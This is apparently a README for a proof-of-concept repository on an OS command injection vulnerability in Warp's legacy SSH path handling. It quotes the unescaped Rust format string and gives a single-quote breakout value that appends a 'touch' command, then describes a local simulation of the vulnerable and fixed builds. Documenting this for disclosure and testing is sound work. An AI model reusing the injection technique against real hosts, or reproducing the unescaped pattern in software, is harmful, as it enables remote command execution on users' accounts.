
Proof-of-concept demonstrating OS command injection in Warp's legacy SSH background command handling (CVE-2026-48732). Includes local simulation of vulnerable and fixed command construction.
This repository contains a Proof of Concept (PoC) for CVE-2026-48732, a high severity OS Command Injection vulnerability in Warp legacy SSH background command handling.
Affected Warp versions used the remote working directory (cwd) reported by an SSH-backed session when constructing helper commands. Because embedded single quotes in that path were not escaped, an attacker-controlled remote host, repository, or directory name could break out of the quoted cd argument and append shell syntax that runs on the remote host as the victim's authenticated SSH account.
Discovered by: saku0512 (GitHub)
This project is for educational and ethical security testing purposes only.
The author is not responsible for any misuse, damage, or illegal activities caused by this tool. Unauthorized access to computer systems is illegal. By using this software, you agree to use it only in environments where you have explicit permission to conduct security testing.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)>= v0.2023.03.21.08.02.stable_00v0.2026.05.06.15.42.stable_01 or laterThe vulnerable legacy SSH background command path wrapped the remote working directory in single quotes without escaping embedded single quote characters:
command_str.push_str(&format!("cd '{current_directory_path}' && "));
If current_directory_path contains a value such as:
/tmp/warp-cve-2026-48732'; touch /tmp/warp_cve_2026_48732_confirmed; echo '
the generated shell command becomes:
cd '/tmp/warp-cve-2026-48732'; touch /tmp/warp_cve_2026_48732_confirmed; echo '' && pwd
The injected touch command is interpreted by the shell as a separate command.
The patch escapes embedded single quotes before placing the path into the single-quoted shell context.
Ensure you have Python 3 installed. This PoC simulates the vulnerable command construction locally and does not connect to Warp or SSH.
python3 --version
Run the provided script:
python3 poc.py
Expected output includes a generated vulnerable command and a success message showing that the marker file was created:
[!] SUCCESS: /tmp/warp_cve_2026_48732_confirmed was created.
Verify that the command was executed successfully by checking for the marker file:
ls -l /tmp/warp_cve_2026_48732_confirmed
If the file exists, the command injection behavior is confirmed in the local simulation.
Clean up the marker file after verification:
rm -f /tmp/warp_cve_2026_48732_confirmed
Run the fixed command builder:
python3 poc.py --mode fixed
The fixed simulation escapes embedded single quotes, so the marker file should not be created.
Update Warp to a patched release immediately.
The fix escapes embedded single quotes in remote paths before constructing legacy SSH helper commands, preventing attacker-controlled path text from breaking out of the quoted shell argument.